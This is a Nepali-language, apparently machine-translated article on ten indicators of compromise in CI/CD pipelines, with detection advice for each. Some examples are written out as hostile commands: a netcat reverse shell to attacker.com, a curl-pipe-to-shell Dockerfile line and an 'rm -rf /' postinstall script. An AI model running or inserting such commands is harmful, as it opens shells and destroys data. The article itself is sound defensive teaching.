परिचय: साइबर सुरक्षामा सम्झौताका सूचकहरू के हुन्?
सम्झौताका सूचकहरू पहिलो चेतावनी संकेत हुन् कि तपाईंको प्रणाली वा pipeline आक्रमणमा पर्न सक्छ। सरल शब्दमा भन्नु पर्दा, सम्झौताका सूचकहरू आक्रमणकारीहरूले छोडेका निशानहरू, अनौठा जस्तै logins, फाइल परिवर्तनहरू, वा लुकेको मालवेयर। भित्र IOC साइबर सुरक्षा, तिनीहरू अपराध स्थलमा औंठाछाप जस्तै काम गर्छन्, जसले तपाईंलाई केही गलत छ भन्ने स्पष्ट प्रमाण दिन्छ। त्यसकारण, जब विकासकर्ताहरूले सोध्छन् सम्झौताका सूचकहरू के हुन्?, उत्तर सर्भर वा फायरवालहरूमा सीमित छैन, यसमा आधुनिकमा लुकेका जोखिमहरू पनि समावेश छन् CI/CD pipelines.
यिनीहरुमा pipelines, आक्रमणकारीहरूले कोडसँग छेडछाड गर्न सक्छन्, दुर्भावनापूर्ण निर्भरताहरू इन्जेक्ट गर्न सक्छन्, वा ध्यान नदिई निर्माण चरणहरू परिवर्तन गर्न सक्छन्। यद्यपि, धेरैजसो गाइडहरू अझै पनि सर्भर वा नेटवर्कहरूमा मात्र केन्द्रित हुन्छन्। फलस्वरूप, सफ्टवेयर आपूर्ति श्रृंखला सबैभन्दा सजिलो लक्ष्यहरू मध्ये एक भएको छ।
त्यसैले सम्झौताका सूचकहरू फेला पार्नु CI/CD pipelines आवश्यक छ। सबैभन्दा माथि, यसले टोलीहरूलाई मालवेयर रोक्न, गोप्य कुराहरू सुरक्षित गर्न र सफ्टवेयर डेलिभरीको प्रत्येक चरण सुरक्षित गर्न मद्दत गर्दछ।
सम्झौताका शीर्ष १० सूचकहरू CI/CD Pipelines
सम्झौताका सूचकहरूको व्याख्या गर्दा, धेरैजसो सूचीहरू सर्भर वा नेटवर्कहरूमा केन्द्रित हुन्छन्। तैपनि CI/CD pipelines, आक्रमणकारीहरूले धेरै फरक औंठाछापहरू छोड्छन्। सक्रिय रक्षाको लागि यी संकेतहरू पहिचान गर्नु महत्त्वपूर्ण छ। तल प्रत्येक विकासकर्ता र सुरक्षा इन्जिनियरले हेर्नुपर्ने १० IOC साइबर सुरक्षा रातो झण्डाहरू छन्।
१. शंकास्पद निर्भरता परिवर्तनहरू
सम्झौताको मुख्य सूचकहरू मध्ये एक pipelines अचानक, अनौठो निर्भरता अपडेट हो। आक्रमणकारीहरूले प्रायः खतरनाक प्याकेजहरू थप्न प्याकेज प्रबन्धकहरूमा विकासकर्ताहरूको विश्वास प्रयोग गर्छन्।
उदाहरणका लागि, npm a मा package.json भिन्नतामा अचानक समावेश हुन सक्छ:
त्यस्ता परिवर्तनहरू सुरक्षित देखिन सक्छन् तर प्रत्येक निर्माणमा ट्रोजनाइज्ड कोड इन्जेक्ट गर्न सक्छन्।
प्रभाव: सम्झौता गरिएका निर्माणहरूले स्रोतमा मालवेयर प्राप्त गर्छन्।
पत्ता लगाउनुहोस्: निर्भरता समीक्षा लागू गर्नुहोस्, लकफाइल भिन्नताहरू ट्र्याक गर्नुहोस्, र नयाँ प्याकेजहरू सधैं स्क्यान गर्नुहोस्।
२. बिल्डहरूमा अस्पष्ट कोड
मालवेयर लेखकहरू समीक्षाहरू बाइपास गर्न अस्पष्टतामा भर पर्छन्। फलस्वरूप, सम्झौताको यो सूचक CI/CD pipelines समात्न सबैभन्दा गाह्रो मध्ये एक हुन सक्छ। वास्तवमा, अस्पष्ट पेलोडहरू प्रायः सूचना बिना खुला स्रोत पुस्तकालयहरू वा कन्टेनर छविहरूमा चिप्लन्छन्।
जस्तै:
- प्रयोग गर्ने PyPI प्याकेज
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - अनावश्यक UPX बाइनरीहरूले भरिएको डकर छवि।
- जाभास्क्रिप्ट भरिएको
\x41\x42प्रमाणपत्र चोर्नेहरूलाई लुकाएर भाग्छ।
प्रभाव: लुकेको कोड निर्माण वा रनटाइमको समयमा चुपचाप कार्यान्वयन हुन्छ, जसले यसलाई IOC साइबर सुरक्षामा एक महत्वपूर्ण संकेत बनाउँछ।
पत्ता लगाउनुहोस्: जोड्नुहोस् SAST एन्कोड गरिएको वा प्याक गरिएको कोडलाई फ्ल्याग गर्न मालवेयर स्क्यानिङको साथ। सबैभन्दा माथि, अस्पष्टतालाई रातो झण्डाको रूपमा व्यवहार गर्नुहोस् जुन थप अनुसन्धानको योग्य छ।
३. Git मा उजागर गरिएका रहस्यहरू: एक क्लासिक IOC साइबर सुरक्षा जोखिम
CI/CD pipelineप्रायः भण्डारहरूबाट सिधै गोप्य कुराहरू प्राप्त हुन्छन्। यद्यपि, जब Git मा रहस्यहरू देखा पर्छन्, तिनीहरू "सम्झौताका सूचकहरू के हुन्" भन्ने प्रश्नको स्पष्ट उत्तरहरू मध्ये एक बन्छन् pipeline"के?" एक पटक Git मा प्रमाणहरू आएपछि, आक्रमणकारीहरूले तिनीहरूलाई अनिश्चित कालसम्म शोषण गर्न सक्छन्।
जस्तै:
- A
.envफाइल समावेशAWS_SECRET_KEY=. - टोकनहरू भित्र धकेलिए
config.json. - हटाएपछि पनि Git इतिहासमा अझै पनि देखिने रहस्यहरू।
प्रभाव: खुला कुञ्जीहरूले आक्रमणकारीहरूलाई सिधा पहुँच दिन्छ CI/CD pipelines, क्लाउड प्रणालीहरू, वा डाटाबेसहरू। त्यसैले यो सम्झौताको सबैभन्दा खतरनाक सूचकहरू मध्ये एक हो।
पत्ता लगाउनुहोस्: प्रयोग pre-commit hooks र गोप्य स्क्यानिङको लागि CI कार्यहरू, र चुहावट भएका कुञ्जीहरू तुरुन्तै रद्द गर्नुहोस्। थप रूपमा, एक्सपोजर विन्डोहरू कम गर्न स्वचालित उपचार लागू गर्नुहोस्।
४. छेडछाड गरिएको Pipeline कन्फिगरेसनहरू: सम्झौताका लुकेका संकेतकहरू
Pipeline कन्फिगहरू उच्च-मूल्य लक्ष्यहरू हुन् किनभने एउटै परिमार्जनले प्रायः सम्पूर्ण कार्यप्रवाहलाई अपहरण गर्छफलस्वरूप, छेडछाड गरियो pipeline फाइलहरू एक प्रमुख IOC साइबर सुरक्षा जोखिम हो जुन परम्परागत अनुगमन उपकरणहरूले विरलै पत्ता लगाउँछन्।
जस्तै:
GitHub कार्यहरूमा:
- GitLab मा: एउटा दुर्भावनापूर्ण काम थपियो
.gitlab-ci.ymlजसले संवेदनशील डेटा डम्प गर्छ। - जेनकिन्समा:
sh "nc -e /bin/bash attacker.com 4444".
प्रभाव: यी अनुमोदित नभएका परिवर्तनहरूले तपाईंको pipeline आक्रमणकारीहरूका लागि स्थायी पछाडिको ढोकामा, जुन स्पष्ट रूपमा सम्झौताको सूचकको रूपमा गणना हुन्छ।
पत्ता लगाउनुहोस्: हस्ताक्षर गरिएका कन्फिगरेसनहरू लागू गर्नुहोस्, PR अनुमोदनहरू आवश्यक पार्नुहोस्, र अप्रत्याशित कार्यहरूको लागि निगरानी गर्नुहोस्। थप रूपमा, सेट गर्नुहोस् guardrails जसले स्वचालित रूपमा परिवर्तन गरिएका कार्यप्रवाहहरूलाई रोक्छ।
5. विशेषाधिकार प्राप्त IaC पूर्वनिर्धारित
गलत कन्फिगर गरिएको पूर्वाधार परिभाषाहरूले प्रायः लुकेका ब्याकडोरहरू सिर्जना गर्दछ। फलस्वरूप, विशेषाधिकार प्राप्त पूर्वनिर्धारितहरू IaC एक क्लासिक IOC साइबर सुरक्षा जोखिम हो।
जस्तै:
- कुबर्नेट्स डिप्लोयमेन्ट ग्रान्टिङ पोडहरू
privileged: true. - हेल्म चार्टहरूले सेवाहरू उजागर गर्दै
0.0.0.0:22.
प्रभाव: आक्रमणकारीहरूले मूल-स्तर पहुँच प्राप्त गर्छन् वा आन्तरिक सेवाहरू सार्वजनिक रूपमा उजागर गर्छन्। फलस्वरूप, यी समस्याहरूले आक्रमणको सतहलाई उल्लेखनीय रूपमा विस्तार गर्छन्।
पत्ता लगाउनुहोस्: लागू IaC मर्ज गर्नु अघि न्यूनतम विशेषाधिकार लागू गर्न स्क्यानिङ। थप रूपमा, प्रत्येक कन्फिगरेसनको अंशको रूपमा समीक्षा गरिएको सुनिश्चित गर्नुहोस् pipeline.
६. असामान्य निर्माण व्यवहार
आक्रमणकारीहरू प्रायः परिवर्तन गर्छन् pipeline दुर्भावनापूर्ण कार्यहरूमा फस्ने व्यवहार। अर्को शब्दमा, असामान्य निर्माण गतिविधि सम्झौताका सूचकहरू के हुन् भन्ने कुराको स्पष्ट उत्तरहरू मध्ये एक हो CI/CD pipelines.
जस्तै:
- अनौठा डोमेनहरूमा आउटबाउन्ड नेटवर्क अनुरोधहरू बनाउने निर्माण गर्दछ।
- Node.js परियोजनाले अचानक PowerShell जन्मायो
npm install. - बिल्ड स्क्रिप्टहरूमा परिभाषित नगरिएका ठूला बाइनरीहरू डाउनलोड गर्ने CI काम।
प्रभाव: सम्झौता गरिएका निर्माणहरूले मालवेयर वितरण बिन्दुको रूपमा काम गर्न सक्छन्। सबैभन्दा माथि, तिनीहरूले प्रत्येक तैनातीभरि दुर्भावनापूर्ण पेलोडहरू फैलाउँछन्।
पत्ता लगाउनुहोस्: अप्रत्याशित प्रक्रियाहरू वा जडानहरूको लागि निर्माण लगहरू निगरानी गर्नुहोस्। यसबाहेक, सामान्य बाहिरका व्यवहारहरूलाई फ्ल्याग गर्न विसंगति पत्ता लगाउने कन्फिगर गर्नुहोस्।
७. IOC साइबरसुरक्षा जोखिमको रूपमा दुर्भावनापूर्ण प्याकेज स्क्रिप्टहरू
प्याकेज प्रबन्धकहरूले जीवनचक्रलाई समर्थन गर्छन् hooks जसलाई आक्रमणकारीहरूले शोषण गर्छन्। त्यसकारण, npm, PyPI, वा Dockerfiles मा भएका दुर्भावनापूर्ण स्क्रिप्टहरू सम्झौताका बलियो सूचक हुन्।
जस्तै:
- npm:
postinstallस्क्रिप्ट चलिरहेको छrm -rf /वा C2 मा बिकन गर्दै। - पाइपीआई:
setup.pyस्थापना गर्दा लुकेको पाइथन कोड कार्यान्वयन गर्दै। - डकरफाइल:
RUN curl attacker.sh | sh.
प्रभाव: आक्रमण स्थापनाको समयमा, कुनै पनि रनटाइम परीक्षण अघि कार्यान्वयन हुन्छ। फलस्वरूप, विकासकर्ताहरूले धेरै ढिलो नभएसम्म कहिल्यै थाहा पाउन सक्दैनन्।
पत्ता लगाउनुहोस्: स्थापना स्क्रिप्टहरूको लागि प्याकेज प्रकट स्क्यान गर्नुहोस्। यसको अतिरिक्त, जोखिमपूर्ण प्रतिबन्ध लगाउनुहोस् hooks in CI/CD जोखिम कम गर्न कामहरू।
८. सम्झौताको रजिस्ट्री विषाक्तता सूचकहरू
आक्रमणकारीहरूले रजिस्ट्रीहरूमा कलाकृतिहरू प्रतिस्थापन वा परिमार्जन गर्छन्, र यी घटनाहरू आपूर्ति शृङ्खलामा सम्झौताका सूचकहरू के हुन् भन्ने पाठ्यपुस्तक उदाहरणहरू हुन्। pipelines.
जस्तै:
- ट्रोजनाइज्ड तहको साथ चुपचाप अपडेट गरिएको डकर छवि ट्याग।
- एउटा आन्तरिक प्याकेजलाई विषाक्त संस्करणले प्रतिस्थापन गरियो।
- npm नेमस्पेस स्क्वाटिंग, जस्तै
lodash-proxy.
प्रभाव: रजिस्ट्री आर्टिफ्याक्ट प्रयोग गर्ने प्रत्येक निर्माण सम्झौतामा आउँछ। त्यति मात्र होइन, सम्झौता डाउनस्ट्रीम सेवाहरूमा पनि फैलिन्छ।
पत्ता लगाउनुहोस्: सबै रजिस्ट्री पुलहरूमा हस्ताक्षर र अखण्डता जाँचहरू लागू गर्नुहोस्। यसको अतिरिक्त, कलाकृतिको उत्पत्ति ट्र्याक गर्नुहोस् SBOM प्रमाणीकरण।
९. IOC प्रमाणको रूपमा असामान्य प्रयोगकर्ता गतिविधि
सम्झौता गरिएका खाताहरूले प्रायः सधैं असामान्य निशानहरू छोड्छन्। तदनुसार, असामान्य विकासकर्ता व्यवहार सम्झौताको बलियो सूचक हो।
जस्तै:
- Commitस्थानीय समय अनुसार बिहान ३ बजे धकेलिएको छ।
- बिदामा रहेका खाताहरूद्वारा पीआर स्वीकृतिहरू।
- Pipelineअसामान्य आवृत्तिको साथ ट्रिगर भयो।
प्रभाव: आक्रमणकारीहरूले चोरी गरिएका प्रमाणहरू दुरुपयोग गरेर दुर्भावनापूर्ण परिवर्तनहरू घुसाउँछन्। आखिर, अनधिकृत commitसामान्य कार्यप्रवाहमा सजिलै मिसिन्छन्।
पत्ता लगाउनुहोस्: मनिटर SCM विसंगतिहरूको लागि गतिविधि, MFA लागू गर्नुहोस्, र टोकनहरू नियमित रूपमा घुमाउनुहोस्। थप रूपमा, शंकास्पदमा सतर्क गर्नुहोस् commit वा अनुमोदन ढाँचाहरू।
१०. IOC साइबरसुरक्षामा असफल अखण्डता वा हस्ताक्षर जाँचहरू
सामान्य तर बेवास्ता गरिएको सम्झौताको सूचक असफल अखण्डता वा हस्ताक्षर जाँच हो। IOC साइबर सुरक्षामा, यी जाँचहरूले कोड वा कलाकृतिहरू प्रामाणिक छन् भनी प्रमाणित गर्छन्। तिनीहरूलाई छोड्दा pipelineपर्दाफास भएको छ।
उदाहरणहरू:
- अपेक्षित चेकसमसँग मेल नखाने SHA256 ह्यास।
- हराएको वा अमान्य GPG हस्ताक्षर।
- An SBOM हस्ताक्षर नगरिएका कलाकृतिहरू देखाउँदै।
प्रभाव: अखण्डता असफल हुनुको अर्थ प्रायः छेडछाड, रजिस्ट्री विषाक्तता, वा मालवेयर इन्जेक्सन हो।
पत्ता लगाउनुहोस्: हस्ताक्षर जाँचहरू स्वचालित गर्नुहोस्, चेकसम प्रमाणीकरण लागू गर्नुहोस्, र हस्ताक्षर नगरिएका घटकहरूलाई रोक्नुहोस्। सबैभन्दा माथि, प्रत्येक असफल जाँचलाई सम्झौताको स्पष्ट प्रमाणको रूपमा व्यवहार गर्नुहोस्।
CI/CD एक नजरमा सम्झौताका सूचकहरू
| सम्झौताको सूचक (IOC) | प्रभाव CI/CD Pipelines | कसरी पत्ता लगाउने |
|---|---|---|
| शंकास्पद निर्भरता परिवर्तनहरू | आक्रमणकारीहरूले प्याकेज प्रबन्धकहरूमा दुर्भावनापूर्ण पुस्तकालयहरू इन्जेक्ट गर्छन्, जसले गर्दा निर्माणहरू सम्झौता हुन्छन्। | लकफाइल भिन्नताहरू ट्र्याक गर्नुहोस्, निर्भरता समीक्षा लागू गर्नुहोस्, र निर्भरताहरू निरन्तर स्क्यान गर्नुहोस्। |
| बिल्डहरूमा अस्पष्ट कोड | लुकेका पेलोडहरू निर्माण वा रनटाइमको समयमा पत्ता नलागेर कार्यान्वयन हुन्छन्। | प्रयोग SAST र base64, हेक्स, वा प्याक गरिएको कोड ढाँचाहरूलाई फ्ल्याग गर्न मालवेयर स्क्यानिङ। |
| Git मा पर्दाफास गरिएका रहस्यहरू | चुहावट भएका टोकन वा एपीआई कुञ्जीहरूले आक्रमणकारीहरूलाई महत्वपूर्ण प्रणालीहरूमा प्रत्यक्ष पहुँच प्रदान गर्छन्। | Git मा गोप्य स्क्यानहरू चलाउनुहोस् hooks र चुहावट भएका प्रमाणहरू स्वचालित रूपमा रद्द गर्नुहोस्। |
| छेडछाड गरिएको Pipeline कन्फिगरेसन | परिमार्जित कार्यप्रवाहहरूले डेटा एक्सफिल्टरेशन वा भित्र स्थिरतालाई अनुमति दिन्छ CI/CD. | PR अनुमोदनहरू आवश्यक पार्नुहोस्, हस्ताक्षर गरिएका कन्फिगरेसनहरू लागू गर्नुहोस्, र निगरानी गर्नुहोस् pipeline परिवर्तन। |
| विशेषाधिकार प्राप्त IaC पूर्वनिर्धारित | अत्यधिक अनुमति दिने भूमिका वा असुरक्षित पूर्वनिर्धारितहरूले क्लाउड वातावरणलाई उजागर गर्छन्। | न्यूनतम विशेषाधिकार प्रवर्तनको लागि टेराफर्म, कुबर्नेट्स र हेल्म फाइलहरू स्क्यान गर्नुहोस्। |
| असामान्य निर्माण व्यवहारहरू | Pipelineमालवेयर वितरण बिन्दुको रूपमा वा पार्श्व आन्दोलनको लागि प्रयोग गरिन्छ। | अप्रत्याशित डाउनलोडहरू, प्रक्रियाहरू, वा आउटबाउन्ड कलहरूको लागि निर्माण लगहरूको विश्लेषण गर्नुहोस्। |
| दुर्भावनापूर्ण प्याकेज स्क्रिप्टहरू | रनटाइम परीक्षण गर्नु अघि लुकेका पूर्व/स्थापना पछिका स्क्रिप्टहरूले पेलोडहरू ट्रिगर गर्छन्। | जोखिमपूर्ण npm/PyPI स्क्रिप्टहरू रोक्नुहोस् र कार्यान्वयन प्रतिबन्धित गर्नुहोस् CI/CD रोजगारहरू। |
| रजिस्ट्री विषाक्तता | ट्रोजनाइज्ड कलाकृतिहरूले रजिस्ट्रीहरूमा विश्वसनीय छविहरू वा बाइनरीहरूलाई प्रतिस्थापन गर्छन्। | चेकसमहरू प्रमाणित गर्नुहोस्, हस्ताक्षर प्रमाणीकरण लागू गर्नुहोस्, र रजिस्ट्रीहरू सक्रिय रूपमा स्क्यान गर्नुहोस्। |
| प्रयोगकर्ताको असामान्य गतिविधि | सम्झौता गरिएका खाताहरूले दुर्भावनापूर्ण कुराहरू फैलाउँछन् commits वा ट्रिगर pipelines. | MFA लागू गर्नुहोस्, निगरानी गर्नुहोस् commitविसंगतिहरूको लागि, र विश्लेषण गर्नुहोस् login ढाँचाहरू। |
| असफल निष्ठा वा हस्ताक्षर जाँचहरू | छेडछाड गरिएको कोड, निर्भरताहरू, वा छविहरू प्रविष्ट गर्ने संकेत गर्दछ pipeline. | स्वचालित अखण्डता जाँचहरू गर्नुहोस् र हस्ताक्षर नगरिएका वा बेमेल कम्पोनेन्टहरूलाई रोक्नुहोस्। |
परम्परागत IOC साइबरसुरक्षा किन छुट्छ? CI/CD जोखिम
धेरैजसो संस्थाहरूले पहिले नै सर्भर, कम्प्युटर वा नेटवर्कहरूमा सम्झौताका सूचकहरूको निगरानी गर्छन्। यद्यपि, IOC साइबर सुरक्षाको यो क्लासिक दृष्टिकोणले बेवास्ता गर्दछ CI/CD pipelines, जुन अहिले सबैभन्दा महत्वपूर्ण आक्रमण सतहहरू मध्ये एक हो। वास्तवमा, pipelineहरूले परम्परागत उपकरणहरूले पत्ता लगाउन नसक्ने अद्वितीय सम्झौता संकेतहरू देखाउँछन्।
परम्परागत सुरक्षामा सम्झौताका सूचकहरू
परम्परागत IOC साइबर सुरक्षामा, ध्यान सामान्यतया निम्न कुराहरूमा हुन्छ:
- असामान्य loginचोरी भएका प्रमाणहरू सुझाव दिने s वा IP ठेगानाहरू।
- मालवेयर प्रकट गर्ने शंकास्पद फाइल ह्यास वा रजिस्ट्री परिवर्तनहरू।
- डेटा एक्सफिल्ट्रेसनलाई औंल्याउने अप्रत्याशित आउटबाउन्ड ट्राफिक।
यी प्रसिद्ध सूचकहरू हुन् जुन मा पनि ट्र्याक गरिएका छन् MITER ATT&CK फ्रेमवर्क, जसले सामान्य विरोधी व्यवहार र रणनीतिहरूको नक्सा बनाउँछ। यी उपयोगी संकेतहरू हुन्। यद्यपि, तिनीहरू मुख्यतया अपरेटिङ सिस्टम वा कर्पोरेट नेटवर्कहरूमा लागू हुन्छन्। फलस्वरूप, तिनीहरूले सफ्टवेयर आपूर्ति श्रृंखलामा पहिले हुने सूक्ष्म छेडछाडलाई गुमाउँछन्।
किन CI/CD Pipelineफरक छन्
CI/CD pipelines स्वचालित वातावरण हो जहाँ विकासकर्ताहरू commit कोड, पुल निर्भरता, र रिलीज बिल्डहरू। आक्रमणकारीहरूलाई थाहा छ कि यहाँ एउटा सम्झौता प्रत्येक तैनातीभरि क्यास्केड हुन्छ। तदनुसार, सम्झौताका सूचकहरू के हुन् CI/CD pipelineतिनीहरू धेरै फरक देखिन्छन्:
- package.json वा requirements.txt मा चुपचाप थपिएको एउटा दुर्भावनापूर्ण निर्भरता।
- Git मा API कुञ्जीहरू वा टोकनहरू खुलासा गरियो commits वा .env फाइलहरू।
- npm वा PyPI प्याकेजहरूमा अस्पष्ट कोड इन्जेक्ट गरियो।
- विशेषाधिकार प्राप्त: सत्य जस्ता असुरक्षित पूर्वनिर्धारितहरू भएका टेराफर्म वा कुबर्नेट्स फाइलहरू।
- Pipeline डेटा एक्सफिल्टरेट गर्न वा पछाडिको ढोका खोल्न सम्पादन गरिएका कार्यहरू।
यी सम्झौताका संकेतहरू CI/CD अदृश्य रहिरहनु standard सुरक्षा उपकरणहरू।
IOC साइबर सुरक्षामा रहेको खाडल
धेरै टोलीहरूले सम्झौताका सूचकहरूको मूल्य बुझे तापनि, तिनीहरू अझै पनि सर्भर र नेटवर्क लगहरूबाट पत्ता लगाउनमा मात्र भर पर्छन्। त्यसकारण, आक्रमणकारीहरूले सामान्य ट्रेसहरू नछोडिकन निर्माणहरूलाई विषाक्त बनाउन वा मालवेयर घुसाउन सक्छन्। यही कारणले गर्दा XZ Utils ब्याकडोर वा दुर्भावनापूर्ण npm प्याकेजहरू जस्ता घटनाहरू उत्पादनमा नपुगुन्जेल पत्ता लागेनन्।
यस प्रकारका आपूर्ति शृङ्खला सम्झौताहरूलाई निम्नद्वारा पनि हाइलाइट गरिएको छ: CISA को आपूर्ति श्रृंखला सुरक्षा मार्गदर्शन, जसले चेतावनी दिन्छ कि आक्रमणकारीहरूले बढ्दो रूपमा लक्षित गर्दैछन् CI/CD pipelines र रजिस्ट्रीहरू।
लिफ्ट
परम्परागत IOC साइबर सुरक्षा आवश्यक छ तर पर्याप्त छैन। सबैभन्दा माथि, टोलीहरूले सम्झौताका सूचकहरू पहिचान गर्नुपर्छ CI/CD pipelines. त्यसपछि मात्र तिनीहरूले दुर्भावनापूर्ण कोड पत्ता लगाउन सक्छन् वा pipeline वातावरणमा फैलनु अघि नै दुरुपयोगलाई नियन्त्रण गर्नुहोस्।
